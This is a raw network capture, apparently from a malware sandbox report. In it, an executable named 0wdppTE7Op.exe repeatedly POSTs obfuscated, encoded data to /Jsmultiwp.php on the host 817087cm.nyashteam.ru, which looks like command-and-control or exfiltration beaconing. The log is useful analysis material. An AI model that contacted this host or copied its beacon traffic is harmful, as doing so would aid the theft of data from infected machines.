Dec 10, 2024 19:00:36.250559092 CET	810	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qsn2U5vMHUAUyECbXhRhVVy50Leoy3NVzf%2B3phF8l0Xje%2Flti3GewFSbOCXLVbe8fKaF1%2Fb7vLUUJ1Y6QACxq9bFhUEhCtl9IG3TolLnR66Sh9v7vuibVAaeyh69qLYQw3oqHHLbfoM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22a6be4a431b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4169&min_rtt=1833&rtt_var=5361&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=71122&cwnd=176&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:36.879673958 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:00:37.229249954 CET	2528	OUT	Data Raw: 50 5e 5d 59 5d 5e 55 55 5c 56 5b 59 50 58 5a 5c 50 5c 59 59 50 5c 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^]Y]^UU\V[YPXZ\P\YYP\S]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#' >=,(Y"40A>$.#< '(/_2U"(5]/?4""(,;$_" X(7
Dec 10, 2024 19:00:38.034523964 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:38.363261938 CET	821	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AFIyPyMdJC57nvxnrj%2B%2BBuBu7UFZHQrLCLhI79o%2BrZFwSZVx%2B0a7YyF73SqgXClIYpgpBqxaQX%2B%2Fh7hXNKyRMnNxjByLTkzTjuwiKYY88Tvin3%2B5AewKW313AhtbzSLou9%2BjzdWSKsM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22b4bc1cc339-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2830&min_rtt=1634&rtt_var=3005&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=130310&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:39.738601923 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:00:40.094584942 CET	2528	OUT	Data Raw: 50 5d 5d 5c 5d 5e 50 56 5c 56 5b 59 50 59 5a 50 50 5a 59 59 50 5e 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P]]\]^PV\V[YPYZPPZYYP^SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#^&3[</8!'+7!#?]0+1+5 %\/8 2(8$_" X(3
Dec 10, 2024 19:00:40.823677063 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:41.152836084 CET	816	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mjai2n%2B6OC%2Bv0PMh3eTReZrDXEIG%2FmQ%2Bp56vlDA5CKZSeFr5XYUWGoLxFwYLTuCs8%2BzzB6OLEcL7uwUAVagUIw8eirKQvHyyw4AvaxNzc6spI7LEJo3AcWAno4mNmfo%2B1bd7lZlyBfE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22c62f75c445-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3768&min_rtt=1576&rtt_var=4975&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=76387&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:41.452280045 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:00:41.816164970 CET	1828	OUT	Data Raw: 55 5d 5d 5d 5d 5b 50 53 5c 56 5b 59 50 5e 5a 5e 50 55 59 5f 50 5e 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U]]]][PS\V[YP^Z^PUY_P^S^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\& "=<"$* $3+Y%;!7;.8,7[6#T;+$_" X(/
Dec 10, 2024 19:00:42.555075884 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:43.360889912 CET	956	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TP5NapwYvACnO%2BgzjTb2gVNTcZnTrB4OAOjn%2F%2FxapJxXE6XOQeYYkQRRep6gKF47WG%2BNuOtZNWIPY4XeME45E5DqnQfEWb8CrOWnNqP3eTzry1bnj6KuuCU238xFSl45OvT1DefBNG0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22d108e44255-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4204&min_rtt=1644&rtt_var=5736&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2151&delivery_rate=65988&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 59 20 02 23 55 36 54 2e 04 2e 2a 20 5c 39 28 27 17 2e 38 25 58 22 17 07 02 2d 05 3a 5b 3f 2b 0a 01 32 0c 3a 1d 24 25 2d 1a 3d 0e 28 51 06 1c 25 5a 30 2a 00 53 2a 3f 3d 5f 30 03 2c 5a 3d 34 26 02 3d 00 05 15 34 3b 28 16 31 3d 02 0d 3f 2f 3e 0e 24 05 2a 18 3b 0d 3a 01 27 3d 2a 51 00 16 21 53 29 21 3c 11 34 30 29 0a 35 54 28 5f 3f 43 28 02 30 04 37 0d 27 02 00 10 25 2c 28 05 33 11 0f 52 25 3f 23 17 23 11 27 55 27 33 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a Data Ascii: 98'Y #U6T..* \9('.8%X"-:[?+2:$%-=(Q%Z0S?=_0,Z=4&=4;(1=?/>$;:'=Q!S)!<40)5T(_?C(07'%,(3R%?##'U'3#]-(W?ZO
Dec 10, 2024 19:00:43.536107063 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:41.628906965 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2520 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:00:41.981077909 CET	2520	OUT	Data Raw: 55 58 5d 5e 58 5d 50 56 5c 56 5b 59 50 5d 5a 5b 50 5e 59 58 50 5a 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UX]^X]PV\V[YP]Z[P^YXPZS[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#&=?+"70*7!^4+\07Y&P"+-\//("1/+$_" X(+
Dec 10, 2024 19:00:42.720081091 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:42.974268913 CET	813	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=61AUcrmeM9aikNba3PPFru5yd1a0upSYuC0va%2BFVaVahz3aqrvjcwcAiZsfntK4MqSd%2BBilBCb%2FjhR13UBM0lCLoBElil2FVEZNhtMpPOEJlG2rqOss%2FG5Z1IjUt6vw4dYV75TGumzk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22d20cd743b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3156&min_rtt=1682&rtt_var=3580&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2843&delivery_rate=108308&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:43.251519918 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:00:43.604105949 CET	2528	OUT	Data Raw: 50 59 5d 5d 5d 5c 55 50 5c 56 5b 59 50 58 5a 50 50 54 59 5e 50 54 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PY]]]\UP\V[YPXZPPTY^PTS[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#Y131? !7')$9Z7/+['+'Y%(94^2,751W/+$_" X(7
Dec 10, 2024 19:00:44.338522911 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:44.805742979 CET	810	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWrOZp5etg4Jw9Ld9XU8%2BI6VF3TjfmuuaFcjJkZn3sw8oOKwqeGLzTwxY%2BbsJLNJKIhoXZVzyqjUj5xTOMQj2OeihECFii2aZ168GLYWSJfVKuXzPXF89roKLYOVBVkd%2FHAHy4QsMek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22dc29ef42f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4083&min_rtt=1822&rtt_var=5206&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=73315&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:45.774935961 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:00:46.119743109 CET	2528	OUT	Data Raw: 55 5d 58 5e 58 5d 50 53 5c 56 5b 59 50 5a 5a 50 50 59 59 5f 50 5a 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U]X^X]PS\V[YPZZPPYY_PZS^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#'0-<$["7=1_"/?X3;4$+%U7+!\/< !#R.+$_" X(
Dec 10, 2024 19:00:46.861001015 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:47.299036026 CET	813	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QfH730%2BtJd3FrxVlv9uKt9bdmsSdNS8I2yzxK8OfxQUytPi1UoHZ6j%2FUXKgPsonAq9mMNCSxdAErXLxpvTtyXXkYNqhD0QuUG4ynxRYh3B%2BjMxubo4d73D%2BqOE14veIOiYszS9tPOQ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22ebecb043f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7409&min_rtt=2109&rtt_var=11391&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=32800&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:47.770802021 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:00:48.125957012 CET	2528	OUT	Data Raw: 55 5e 5d 5a 5d 5f 50 57 5c 56 5b 59 50 5a 5a 59 50 5c 59 59 50 58 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U^]Z]_PW\V[YPZZYP\YYPXS[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#]%5\<<'"7(D)71"<%+;^&8! 8)8+Z"24.+$_" X(
Dec 10, 2024 19:00:48.860356092 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:49.125060081 CET	808	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eTM9TYw8BdX4UFHxPUIut4wagX8pKrolprSixovnSUAq7uKEY57CcPLCcTTUX9Jt1kt2am%2BuK3EoS4M1z35QVRQmsTB%2B70MVJgN8BspcqhsoPWI28SdqqLPftUSJvA4GHOlb13Ur5qA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22f86d2f4263-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3772&min_rtt=2116&rtt_var=4107&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=94990&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:49.065103054 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:00:49.416738033 CET	1828	OUT	Data Raw: 55 58 5d 5f 5d 5e 50 50 5c 56 5b 59 50 5b 5a 5c 50 5d 59 5d 50 55 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UX]_]^PP\V[YP[Z\P]Y]PUSZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#]%6=? "'?=B2 /;$X2864;"/Y4 2;R;+$_" X(;
Dec 10, 2024 19:00:50.184459925 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:50.701200962 CET	963	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g34HIv0fdlrHnHK23hdBAwWpjENqa7%2BZSW9LW7HijHVdT5llJQ%2B2MRegUqDpsEM5aR5y8pQM9QFK%2B2TiHf2oqa3IWEulu582mxk3Uix8D%2BswnlgE9PNQr5tzu%2BjiQbSRXyxkCJoA4l8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2300ab502363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4008&min_rtt=2002&rtt_var=4763&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2151&delivery_rate=80868&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 02 20 05 3c 08 21 22 2e 05 39 39 2c 58 2c 28 38 04 3a 38 36 06 35 00 21 03 2e 3f 26 12 28 2b 23 58 31 31 29 06 30 0f 31 52 3d 0e 28 51 06 1c 26 05 24 2a 0b 08 3f 3c 25 5a 24 5b 3c 5a 2a 09 21 5f 29 3d 27 51 23 3b 16 5f 25 2d 01 54 28 11 22 0b 27 05 26 1c 38 0d 0c 02 31 07 2a 51 00 16 21 18 29 21 3f 01 37 0e 26 1c 21 0c 16 19 3c 26 3b 59 25 3d 3b 08 33 02 31 04 33 05 38 00 30 2f 31 53 24 2f 3f 59 34 3f 3c 08 31 09 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$ <!".99,X,(8:865!.?&(+#X11)01R=(Q&$?<%Z$[<Z!_)='Q#;_%-T("'&81*Q!)!?7&!<&;Y%=;31380/1S$/?Y4?<1#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:54.318562984 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:00:54.667876959 CET	2528	OUT	Data Raw: 50 5f 5d 53 5d 5a 50 50 5c 56 5b 59 50 5f 5a 5b 50 5b 59 5c 50 5d 53 5c 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P_]S]ZPP\V[YP_Z[P[Y\P]S\_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#^23?853+7"7<+]38<&;-72-/+!1#V/$_" X(+
Dec 10, 2024 19:00:55.404506922 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:55.685343027 CET	814	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LSFiInRCU9%2F2pJZA1HYLkUqPxZmWo%2Filhz4ACDRAn6f1fKQpI1FliGKrivlXereHZwW1o0xs%2FwEWS%2Ftc4rIvwYqJhAuuJG%2Bmibk4xYzmd9fqDyWUVUuP8VhKbXfBUZ78XaqdB0WpGUY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23214b2e43d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3612&min_rtt=1736&rtt_var=4403&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=87195&cwnd=197&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0
Dec 10, 2024 19:00:55.714540005 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1828 Expect: 100-continue
